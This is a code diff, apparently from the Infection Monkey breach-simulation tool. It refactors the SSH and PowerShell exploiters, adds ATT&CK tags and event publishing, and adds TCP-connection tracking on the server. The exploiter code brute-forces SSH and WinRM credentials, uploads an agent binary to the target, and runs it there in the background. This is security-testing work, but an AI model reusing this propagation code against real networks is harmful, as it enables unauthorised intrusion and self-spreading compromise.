@ -179,7 +208,7 @@ class MSSQLExploiter(HostExploiter):
def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str: def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str:
agent_args = build_monkey_commandline( agent_args = build_monkey_commandline(
self.servers, self.current_depth + 1, agent_path_on_victim self.servers, self.current_depth + 1, str(agent_path_on_victim)
) )
return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}" return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}"

View File

@ -1,8 +1,14 @@
import logging import logging
from pathlib import Path, PurePath from pathlib import Path, PurePath
from time import time
from typing import List, Optional from typing import List, Optional
from common import OperatingSystem from common import OperatingSystem
from common.tags import (
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
)
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions, get_auth_options from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions, get_auth_options
from infection_monkey.exploit.powershell_utils.credentials import ( from infection_monkey.exploit.powershell_utils.credentials import (
@ -21,6 +27,7 @@ from infection_monkey.utils.environment import is_windows_os
from infection_monkey.utils.threading import interruptible_iter from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
POWERSHELL_EXPLOITER_TAG = "powershell-exploiter"
class RemoteAgentCopyError(Exception): class RemoteAgentCopyError(Exception):
@ -34,6 +41,17 @@ class RemoteAgentExecutionError(Exception):
class PowerShellExploiter(HostExploiter): class PowerShellExploiter(HostExploiter):
_EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)" _EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)"
_EXPLOITER_TAGS = (
POWERSHELL_EXPLOITER_TAG,
T1059_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
)
_PROPAGATION_TAGS = (
POWERSHELL_EXPLOITER_TAG,
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
)
def __init__(self): def __init__(self):
super().__init__() super().__init__()
self._client = None self._client = None
@ -68,12 +86,21 @@ class PowerShellExploiter(HostExploiter):
) )
return self.exploit_result return self.exploit_result
execute_agent_timestamp = time()
try: try:
self._execute_monkey_agent_on_victim() self._execute_monkey_agent_on_victim()
except Exception as err:
self.exploit_result.error_message = f"Failed to propagate to the remote host: {err}"
self._publish_propagation_event(
time=execute_agent_timestamp,
success=False,
error_message=self.exploit_result.error_message,
)
logger.error(self.exploit_result.error_message)
return self.exploit_result
self.exploit_result.propagation_success = True self.exploit_result.propagation_success = True
except Exception as ex: self._publish_propagation_event(time=execute_agent_timestamp, success=True)
logger.error(f"Failed to propagate to the remote host: {ex}")
self.exploit_result.error_message = str(ex)
return self.exploit_result return self.exploit_result
@ -94,21 +121,27 @@ class PowerShellExploiter(HostExploiter):
try: try:
client = PowerShellClient(self.host.ip_addr, creds, opts) client = PowerShellClient(self.host.ip_addr, creds, opts)
connect_timestamp = time()
client.connect() client.connect()
logger.info( logger.info(
f"Successfully logged into {self.host.ip_addr} using Powershell. User: " f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}, Secret Type: {creds.secret_type.name}" f"{creds.username}, Secret Type: {creds.secret_type.name}"
) )
self._publish_exploitation_event(time=connect_timestamp, success=True)
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
self._report_login_attempt(True, creds) self._report_login_attempt(True, creds)
return client return client
except Exception as ex: except Exception as ex:
logger.debug( error_message = (
f"Error logging into {self.host.ip_addr} using Powershell. User: " f"Error logging into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}" f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}"
) )
logger.debug(error_message)
self._publish_exploitation_event(
time=connect_timestamp, success=False, error_message=error_message
)
self._report_login_attempt(False, creds) self._report_login_attempt(False, creds)
return None return None

View File

@ -43,7 +43,7 @@ def format_password(credentials: Credentials) -> Optional[str]:
if credentials.secret_type == SecretType.CACHED: if credentials.secret_type == SecretType.CACHED:
return None return None
plaintext_secret = get_plaintext(credentials.secret) plaintext_secret = str(get_plaintext(credentials.secret))
if credentials.secret_type == SecretType.PASSWORD: if credentials.secret_type == SecretType.PASSWORD:
return plaintext_secret return plaintext_secret

View File

@ -1,15 +1,27 @@
import io import io
import logging import logging
from ipaddress import IPv4Address
from pathlib import PurePath from pathlib import PurePath
from time import time
from typing import Optional
import paramiko import paramiko
from common import OperatingSystem from common import OperatingSystem
from common.agent_events import TCPScanEvent
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from common.credentials import get_plaintext from common.credentials import get_plaintext
from common.tags import (
T1021_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1222_ATTACK_TECHNIQUE_TAG,
)
from common.types import PortStatus
from common.utils import Timer from common.utils import Timer
from common.utils.attack_utils import ScanStatus from common.utils.attack_utils import ScanStatus
from common.utils.exceptions import FailedExploitationError from common.utils.exceptions import FailedExploitationError
from infection_monkey.exploit import RetrievalError
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.helpers import get_agent_dst_path
from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.i_puppet import ExploiterResultData
@ -19,6 +31,7 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.brute_force import generate_identity_secret_pairs
from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.ids import get_agent_id
from infection_monkey.utils.threading import interruptible_iter from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -30,11 +43,15 @@ SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT
SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
TRANSFER_UPDATE_RATE = 15 TRANSFER_UPDATE_RATE = 15
SSH_EXPLOITER_TAG = "ssh-exploiter"
class SSHExploiter(HostExploiter): class SSHExploiter(HostExploiter):
_EXPLOITED_SERVICE = "SSH" _EXPLOITED_SERVICE = "SSH"
_EXPLOITER_TAGS = (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG)
_PROPAGATION_TAGS = (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG)
def __init__(self): def __init__(self):
super(SSHExploiter, self).__init__() super(SSHExploiter, self).__init__()
@ -46,7 +63,7 @@ class SSHExploiter(HostExploiter):
logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
timer.reset() timer.reset()
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient: def exploit_with_ssh_keys(self, port: int) -> paramiko.SSHClient:
user_ssh_key_pairs = generate_identity_secret_pairs( user_ssh_key_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"], identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_ssh_keys"], secrets=self.options["credentials"]["exploit_ssh_keys"],
@ -70,6 +87,8 @@ class SSHExploiter(HostExploiter):
pkey = paramiko.RSAKey.from_private_key(pkey) pkey = paramiko.RSAKey.from_private_key(pkey)
except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException): except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
logger.error("Failed reading ssh key") logger.error("Failed reading ssh key")
timestamp = time()
try: try:
ssh.connect( ssh.connect(
self.host.ip_addr, self.host.ip_addr,
@ -86,20 +105,30 @@ class SSHExploiter(HostExploiter):
) )
self.add_vuln_port(port) self.add_vuln_port(port)
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
self._publish_exploitation_event(timestamp, True)
self.report_login_attempt(True, user, ssh_key=ssh_string) self.report_login_attempt(True, user, ssh_key=ssh_string)
return ssh return ssh
except paramiko.AuthenticationException as err: except paramiko.AuthenticationException as err:
ssh.close() ssh.close()
logger.info( error_message = (
f"Failed logging into victim {self.host} with {ssh_string} private key: {err}", f"Failed logging into victim {self.host} with {ssh_string} private key: {err}"
) )
logger.info(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, ssh_key=ssh_string) self.report_login_attempt(False, user, ssh_key=ssh_string)
continue continue
except Exception as err: except Exception as err:
logger.error(f"Unknown error while attempting to login with ssh key: {err}") error_message = (
f"Unexpected error while attempting to login to {ssh_string} with ssh key: "
f"{err}"
)
logger.error(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, ssh_key=ssh_string)
raise FailedExploitationError raise FailedExploitationError
def exploit_with_login_creds(self, port) -> paramiko.SSHClient: def exploit_with_login_creds(self, port: int) -> paramiko.SSHClient:
user_password_pairs = generate_identity_secret_pairs( user_password_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"], identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_password_list"], secrets=self.options["credentials"]["exploit_password_list"],
@ -116,6 +145,8 @@ class SSHExploiter(HostExploiter):
ssh = paramiko.SSHClient() ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
timestamp = time()
try: try:
ssh.connect( ssh.connect(
self.host.ip_addr, self.host.ip_addr,
@ -131,24 +162,125 @@ class SSHExploiter(HostExploiter):
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
self.add_vuln_port(port) self.add_vuln_port(port)
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
self._publish_exploitation_event(timestamp, True)
self.report_login_attempt(True, user, current_password) self.report_login_attempt(True, user, current_password)
return ssh return ssh
except paramiko.AuthenticationException as err: except paramiko.AuthenticationException as err:
logger.debug( error_message = f"Failed logging into victim {self.host} with user: {user}: {err}"
"Failed logging into victim %r with user" " %s: (%s)", logger.debug(error_message)
self.host, self._publish_exploitation_event(timestamp, False, error_message=error_message)
user,
err,
)
self.report_login_attempt(False, user, current_password) self.report_login_attempt(False, user, current_password)
ssh.close() ssh.close()
continue continue
except Exception as err: except Exception as err:
logger.error(f"Unknown error occurred while trying to login to ssh: {err}") error_message = (
f"Unexpected error while attempting to login to {self.host} with password: "
f"{err}"
)
logger.error(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, current_password)
raise FailedExploitationError raise FailedExploitationError
def _exploit_host(self) -> ExploiterResultData: def _exploit_host(self) -> ExploiterResultData:
port = self._get_ssh_port()
if not self._is_port_open(IPv4Address(self.host.ip_addr), port):
self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping"
logger.info(self.exploit_result.error_message)
return self.exploit_result
try:
ssh = self._exploit(port)
except FailedExploitationError as err:
self.exploit_result.error_message = str(err)
logger.error(self.exploit_result.error_message)
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
try:
self._propagate(ssh)
except (FailedExploitationError, RuntimeError) as err:
self.exploit_result.error_message = str(err)
logger.error(self.exploit_result.error_message)
finally:
ssh.close()
return self.exploit_result
def _exploit(self, port: int) -> paramiko.SSHClient:
try:
ssh = self.exploit_with_ssh_keys(port)
except FailedExploitationError:
try:
ssh = self.exploit_with_login_creds(port)
except FailedExploitationError:
raise FailedExploitationError("Exploiter SSHExploiter is giving up...")
return ssh
def _propagate(self, ssh: paramiko.SSHClient):
agent_binary_file_object = self._get_agent_binary(ssh)
if agent_binary_file_object is None:
raise RuntimeError("Can't find suitable monkey executable for host {self.host}")
if self._is_interrupted():
self._set_interrupted()
raise RuntimeError("Propagation was interrupted")
monkey_path_on_victim = get_agent_dst_path(self.host)
status = self._upload_agent_binary(ssh, agent_binary_file_object, monkey_path_on_victim)
self.telemetry_messenger.send_telemetry(
T1105Telem(
status,
get_interface_to_target(self.host.ip_addr),
self.host.ip_addr,
monkey_path_on_victim,
)
)
if status == ScanStatus.SCANNED:
raise FailedExploitationError(self.exploit_result.error_message)
try:
cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
cmdline += build_monkey_commandline(self.servers, self.current_depth + 1)
cmdline += " > /dev/null 2>&1 &"
timestamp = time()
ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT)
logger.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
monkey_path_on_victim,
self.host,
cmdline,
)
self.exploit_result.propagation_success = True
self._publish_propagation_event(timestamp, True)
self.add_executed_cmd(cmdline)
except Exception as exc:
error_message = f"Error running monkey on victim {self.host}: ({exc})"
self._publish_propagation_event(timestamp, False, error_message=error_message)
raise FailedExploitationError(error_message)
def _is_port_open(self, ip: IPv4Address, port: int) -> bool:
is_open, _ = check_tcp_port(ip, port)
status = PortStatus.OPEN if is_open else PortStatus.CLOSED
self.agent_event_queue.publish(
TCPScanEvent(source=get_agent_id(), target=ip, ports={port: status})
)
return is_open
def _get_ssh_port(self) -> int:
port = SSH_PORT port = SSH_PORT
# if ssh banner found on different port, use that port. # if ssh banner found on different port, use that port.
@ -156,28 +288,9 @@ class SSHExploiter(HostExploiter):
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
port = int(servkey.replace("tcp-", "")) port = int(servkey.replace("tcp-", ""))
is_open, _ = check_tcp_port(self.host.ip_addr, port) return port
if not is_open:
self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping"
logger.info(self.exploit_result.error_message) def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool:
return self.exploit_result
try:
ssh = self.exploit_with_ssh_keys(port)
except FailedExploitationError:
try:
ssh = self.exploit_with_login_creds(port)
except FailedExploitationError:
self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..."
logger.error(self.exploit_result.error_message)
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
if not self.host.os.get("type"):
try: try:
_, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT) _, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT)
uname_os = stdout.read().lower().strip().decode() uname_os = stdout.read().lower().strip().decode()
@ -189,34 +302,33 @@ class SSHExploiter(HostExploiter):
if not uname_os: if not uname_os:
logger.error(self.exploit_result.error_message) logger.error(self.exploit_result.error_message)
return self.exploit_result return False
except Exception as exc: except Exception as exc:
self.exploit_result.error_message = ( logger.error(f"Error running uname os command on victim {self.host}: ({exc})")
f"Error running uname os command on victim {self.host}: ({exc})" return False
) return True
logger.error(self.exploit_result.error_message) def _get_agent_binary(self, ssh: paramiko.SSHClient) -> Optional[io.BytesIO]:
return self.exploit_result if not self.host.os.get("type") and not self._get_victim_os(ssh):
return None
try:
agent_binary_file_object = self.agent_binary_repository.get_agent_binary( agent_binary_file_object = self.agent_binary_repository.get_agent_binary(
self.exploit_result.os self.exploit_result.os
) )
except RetrievalError:
return None
if not agent_binary_file_object: return agent_binary_file_object
self.exploit_result.error_message = (
f"Can't find suitable monkey executable for host {self.host}"
)
logger.error(self.exploit_result.error_message)
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
monkey_path_on_victim = get_agent_dst_path(self.host)
def _upload_agent_binary(
self,
ssh: paramiko.SSHClient,
agent_binary_file_object: io.BytesIO,
monkey_path_on_victim: PurePath,
) -> ScanStatus:
try: try:
timestamp = time()
with ssh.open_sftp() as ftp: with ssh.open_sftp() as ftp:
ftp.putfo( ftp.putfo(
agent_binary_file_object, agent_binary_file_object,
@ -226,51 +338,12 @@ class SSHExploiter(HostExploiter):
) )
self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim) self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
status = ScanStatus.USED return ScanStatus.USED
except Exception as exc: except Exception as exc:
self.exploit_result.error_message = ( error_message = f"Error uploading file into victim {self.host}: ({exc})"
f"Error uploading file into victim {self.host}: ({exc})" self._publish_propagation_event(timestamp, False, error_message=error_message)
) self.exploit_result.error_message = error_message
logger.error(self.exploit_result.error_message) return ScanStatus.SCANNED
status = ScanStatus.SCANNED
self.telemetry_messenger.send_telemetry(
T1105Telem(
status,
get_interface_to_target(self.host.ip_addr),
self.host.ip_addr,
monkey_path_on_victim,
)
)
if status == ScanStatus.SCANNED:
return self.exploit_result
try:
cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
cmdline += build_monkey_commandline(self.servers, self.current_depth + 1)
cmdline += " > /dev/null 2>&1 &"
ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT)
logger.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
monkey_path_on_victim,
self.host,
cmdline,
)
self.exploit_result.propagation_success = True
ssh.close()
self.add_executed_cmd(cmdline)
return self.exploit_result
except Exception as exc:
self.exploit_result.error_message = (
f"Error running monkey on victim {self.host}: ({exc})"
)
logger.error(self.exploit_result.error_message)
return self.exploit_result
def _set_executable_bit_on_agent_binary( def _set_executable_bit_on_agent_binary(
self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath

View File

@ -3,6 +3,7 @@ import urllib.error
import urllib.parse import urllib.parse
import urllib.request import urllib.request
from threading import Lock from threading import Lock
from typing import Optional, Tuple
from infection_monkey.network.firewall import app as firewall from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.info import get_free_tcp_port
@ -28,7 +29,7 @@ class HTTPTools(object):
@staticmethod @staticmethod
def create_locked_transfer( def create_locked_transfer(
host, dropper_target_path, agent_binary_repository, local_ip=None, local_port=None host, dropper_target_path, agent_binary_repository, local_ip=None, local_port=None
) -> LockedHTTPServer: ) -> Tuple[Optional[str], Optional[LockedHTTPServer]]:
""" """
Create http server for file transfer with a lock Create http server for file transfer with a lock
:param host: Variable with target's information :param host: Variable with target's information

View File

@ -3,6 +3,8 @@ import select
import socket import socket
import struct import struct
import sys import sys
from ipaddress import IPv4Address
from typing import Optional
from common.common_consts.timeouts import CONNECTION_TIMEOUT from common.common_consts.timeouts import CONNECTION_TIMEOUT
from infection_monkey.network.info import get_routes from infection_monkey.network.info import get_routes
@ -13,7 +15,7 @@ BANNER_READ = 1024
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False): def check_tcp_port(ip: IPv4Address, port: int, timeout=DEFAULT_TIMEOUT, get_banner=False):
""" """
Checks if a given TCP port is open Checks if a given TCP port is open
:param ip: Target IP :param ip: Target IP
@ -26,7 +28,7 @@ def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
sock.settimeout(timeout) sock.settimeout(timeout)
try: try:
sock.connect((ip, port)) sock.connect((str(ip), port))
except socket.timeout: except socket.timeout:
return False, None return False, None
except socket.error as exc: except socket.error as exc:
@ -51,7 +53,7 @@ def tcp_port_to_service(port):
return "tcp-" + str(port) return "tcp-" + str(port)
def get_interface_to_target(dst: str) -> str: def get_interface_to_target(dst: str) -> Optional[str]:
""" """
:param dst: destination IP address string without port. E.G. '192.168.1.1.' :param dst: destination IP address string without port. E.G. '192.168.1.1.'
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.' :return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'

View File

@ -1,4 +1,5 @@
from typing import List, Optional from pathlib import PurePath
from typing import List, Optional, Union
from infection_monkey.config import GUID from infection_monkey.config import GUID
from infection_monkey.exploit.tools.helpers import AGENT_BINARY_PATH_LINUX, AGENT_BINARY_PATH_WIN64 from infection_monkey.exploit.tools.helpers import AGENT_BINARY_PATH_LINUX, AGENT_BINARY_PATH_WIN64
@ -9,7 +10,9 @@ DROPPER_TARGET_PATH_LINUX = AGENT_BINARY_PATH_LINUX
DROPPER_TARGET_PATH_WIN64 = AGENT_BINARY_PATH_WIN64 DROPPER_TARGET_PATH_WIN64 = AGENT_BINARY_PATH_WIN64
def build_monkey_commandline(servers: List[str], depth: int, location: Optional[str] = None) -> str: def build_monkey_commandline(
servers: List[str], depth: int, location: Union[str, PurePath, None] = None
) -> str:
return " " + " ".join( return " " + " ".join(
build_monkey_commandline_explicitly( build_monkey_commandline_explicitly(
@ -25,7 +28,7 @@ def build_monkey_commandline_explicitly(
parent: Optional[str] = None, parent: Optional[str] = None,
servers: Optional[List[str]] = None, servers: Optional[List[str]] = None,
depth: Optional[int] = None, depth: Optional[int] = None,
location: Optional[str] = None, location: Union[str, PurePath, None] = None,
) -> List[str]: ) -> List[str]:
cmdline = [] cmdline = []

View File

@ -5,8 +5,8 @@ from typing import Union
from typing_extensions import TypeAlias from typing_extensions import TypeAlias
from common.agent_events import PingScanEvent, TCPScanEvent from common.agent_events import PingScanEvent, TCPScanEvent
from common.types import PortStatus from common.types import PortStatus, SocketAddress
from monkey_island.cc.models import CommunicationType, Machine from monkey_island.cc.models import CommunicationType, Machine, Node
from monkey_island.cc.repository import ( from monkey_island.cc.repository import (
IAgentRepository, IAgentRepository,
IMachineRepository, IMachineRepository,
@ -56,8 +56,10 @@ class ScanEventHandler:
try: try:
target_machine = self._get_target_machine(event) target_machine = self._get_target_machine(event)
source_node = self._get_source_node(event)
self._update_nodes(target_machine, event) self._update_nodes(target_machine, event)
self._update_tcp_connections(source_node, target_machine, event)
except (RetrievalError, StorageError, UnknownRecordError): except (RetrievalError, StorageError, UnknownRecordError):
logger.exception("Unable to process tcp scan data") logger.exception("Unable to process tcp scan data")
@ -73,6 +75,14 @@ class ScanEventHandler:
self._machine_repository.upsert_machine(machine) self._machine_repository.upsert_machine(machine)
return machine return machine
def _get_source_node(self, event: ScanEvent) -> Node:
machine = self._get_source_machine(event)
return self._node_repository.get_node_by_machine_id(machine.id)
def _get_source_machine(self, event: ScanEvent) -> Machine:
agent = self._agent_repository.get_agent_by_id(event.source)
return self._machine_repository.get_machine_by_id(agent.machine_id)
def _update_target_machine_os(self, machine: Machine, event: PingScanEvent): def _update_target_machine_os(self, machine: Machine, event: PingScanEvent):
if event.os is not None and machine.operating_system is None: if event.os is not None and machine.operating_system is None:
machine.operating_system = event.os machine.operating_system = event.os
@ -85,6 +95,14 @@ class ScanEventHandler:
src_machine.id, target_machine.id, CommunicationType.SCANNED src_machine.id, target_machine.id, CommunicationType.SCANNED
) )
def _get_source_machine(self, event: ScanEvent) -> Machine: def _update_tcp_connections(self, src_node: Node, target_machine: Machine, event: TCPScanEvent):
agent = self._agent_repository.get_agent_by_id(event.source) tcp_connections = set()
return self._machine_repository.get_machine_by_id(agent.machine_id) open_ports = (port for port, status in event.ports.items() if status == PortStatus.OPEN)
for open_port in open_ports:
socket_address = SocketAddress(ip=event.target, port=open_port)
tcp_connections.add(socket_address)
if tcp_connections:
self._node_repository.upsert_tcp_connections(
src_node.machine_id, {target_machine.id: tuple(tcp_connections)}
)

View File

@ -1,4 +1,4 @@
from typing import FrozenSet, Mapping, Tuple from typing import Dict, FrozenSet, Mapping, Tuple
from pydantic import Field from pydantic import Field
from typing_extensions import TypeAlias from typing_extensions import TypeAlias
@ -9,6 +9,7 @@ from common.types import SocketAddress
from . import CommunicationType, MachineID from . import CommunicationType, MachineID
NodeConnections: TypeAlias = Mapping[MachineID, FrozenSet[CommunicationType]] NodeConnections: TypeAlias = Mapping[MachineID, FrozenSet[CommunicationType]]
TCPConnections: TypeAlias = Dict[MachineID, Tuple[SocketAddress, ...]]
class Node(MutableInfectionMonkeyBaseModel): class Node(MutableInfectionMonkeyBaseModel):
@ -26,5 +27,5 @@ class Node(MutableInfectionMonkeyBaseModel):
connections: NodeConnections connections: NodeConnections
"""All outbound connections from this node to other machines""" """All outbound connections from this node to other machines"""
tcp_connections: Mapping[MachineID, Tuple[SocketAddress, ...]] = {} tcp_connections: TCPConnections = {}
"""All successfull outbound TCP connections""" """All successfull outbound TCP connections"""

View File

@ -2,6 +2,7 @@ from abc import ABC, abstractmethod
from typing import Sequence from typing import Sequence
from monkey_island.cc.models import CommunicationType, MachineID, Node from monkey_island.cc.models import CommunicationType, MachineID, Node
from monkey_island.cc.models.node import TCPConnections
class INodeRepository(ABC): class INodeRepository(ABC):
@ -25,6 +26,15 @@ class INodeRepository(ABC):
:raises StorageError: If an error occurs while attempting to upsert the Node :raises StorageError: If an error occurs while attempting to upsert the Node
""" """
@abstractmethod
def upsert_tcp_connections(self, machine_id: MachineID, tcp_connections: TCPConnections):
"""
Add TCP connections to Node
:param machine_id: Machine ID of the Node that made the connections
:param tcp_connections: TCP connections made by node
:raises StorageError: If an error occurs while attempting to add connections
"""
@abstractmethod @abstractmethod
def get_nodes(self) -> Sequence[Node]: def get_nodes(self) -> Sequence[Node]:
""" """
@ -34,6 +44,15 @@ class INodeRepository(ABC):
:raises RetrievalError: If an error occurs while attempting to retrieve the nodes :raises RetrievalError: If an error occurs while attempting to retrieve the nodes
""" """
@abstractmethod
def get_node_by_machine_id(self, machine_id: MachineID) -> Node:
"""
Fetches network Node from the database based on Machine id
:param machine_id: ID of a Machine that Node represents
:return: network Node that represents the Machine
:raises UnknownRecordError: If the Node does not exist
"""
@abstractmethod @abstractmethod
def reset(self): def reset(self):
""" """

View File

@ -5,7 +5,8 @@ from pymongo import MongoClient
from monkey_island.cc.models import CommunicationType, MachineID, Node from monkey_island.cc.models import CommunicationType, MachineID, Node
from . import INodeRepository, RemovalError, RetrievalError, StorageError from ..models.node import TCPConnections
from . import INodeRepository, RemovalError, RetrievalError, StorageError, UnknownRecordError
from .consts import MONGO_OBJECT_ID_KEY from .consts import MONGO_OBJECT_ID_KEY
UPSERT_ERROR_MESSAGE = "An error occurred while attempting to upsert a node" UPSERT_ERROR_MESSAGE = "An error occurred while attempting to upsert a node"
@ -20,19 +21,14 @@ class MongoNodeRepository(INodeRepository):
self, src: MachineID, dst: MachineID, communication_type: CommunicationType self, src: MachineID, dst: MachineID, communication_type: CommunicationType
): ):
try: try:
node_dict = self._nodes_collection.find_one( node = self.get_node_by_machine_id(src)
{SRC_FIELD_NAME: src}, {MONGO_OBJECT_ID_KEY: False}
)
except Exception as err:
raise StorageError(f"{UPSERT_ERROR_MESSAGE}: {err}")
if node_dict is None:
updated_node = Node(machine_id=src, connections={dst: frozenset((communication_type,))})
else:
node = Node(**node_dict)
updated_node = MongoNodeRepository._add_connection_to_node( updated_node = MongoNodeRepository._add_connection_to_node(
node, dst, communication_type node, dst, communication_type
) )
except UnknownRecordError:
updated_node = Node(machine_id=src, connections={dst: frozenset((communication_type,))})
except Exception as err:
raise StorageError(f"{UPSERT_ERROR_MESSAGE}: {err}")
self._upsert_node(updated_node) self._upsert_node(updated_node)
@ -50,6 +46,19 @@ class MongoNodeRepository(INodeRepository):
return new_node return new_node
def upsert_tcp_connections(self, machine_id: MachineID, tcp_connections: TCPConnections):
try:
node = self.get_node_by_machine_id(machine_id)
except UnknownRecordError:
node = Node(machine_id=machine_id, connections={})
for target, connections in tcp_connections.items():
if target in node.tcp_connections:
node.tcp_connections[target] = tuple({*node.tcp_connections[target], *connections})
else:
node.tcp_connections[target] = connections
self._upsert_node(node)
def _upsert_node(self, node: Node): def _upsert_node(self, node: Node):
try: try:
result = self._nodes_collection.replace_one( result = self._nodes_collection.replace_one(
@ -58,18 +67,20 @@ class MongoNodeRepository(INodeRepository):
except Exception as err: except Exception as err:
raise StorageError(f"{UPSERT_ERROR_MESSAGE}: {err}") raise StorageError(f"{UPSERT_ERROR_MESSAGE}: {err}")
if result.matched_count != 0 and result.modified_count != 1:
raise StorageError(
f'Error updating node with source ID "{node.machine_id}": Expected to update 1 '
f"node, but {result.modified_count} were updated"
)
if result.matched_count == 0 and result.upserted_id is None: if result.matched_count == 0 and result.upserted_id is None:
raise StorageError( raise StorageError(
f'Error inserting node with source ID "{node.machine_id}": Expected to insert 1 ' f'Error inserting node with source ID "{node.machine_id}": Expected to insert 1 '
f"node, but no nodes were inserted" f"node, but no nodes were inserted"
) )
def get_node_by_machine_id(self, machine_id: MachineID) -> Node:
node_dict = self._nodes_collection.find_one(
{SRC_FIELD_NAME: machine_id}, {MONGO_OBJECT_ID_KEY: False}
)
if not node_dict:
raise UnknownRecordError(f"Node with machine ID {machine_id}")
return Node(**node_dict)
def get_nodes(self) -> Sequence[Node]: def get_nodes(self) -> Sequence[Node]:
try: try:
cursor = self._nodes_collection.find({}, {MONGO_OBJECT_ID_KEY: False}) cursor = self._nodes_collection.find({}, {MONGO_OBJECT_ID_KEY: False})

File diff suppressed because it is too large Load Diff

View File

@ -77,7 +77,7 @@
"classnames": "^2.3.1", "classnames": "^2.3.1",
"core-js": "^3.18.2", "core-js": "^3.18.2",
"crypto-js": "^4.1.1", "crypto-js": "^4.1.1",
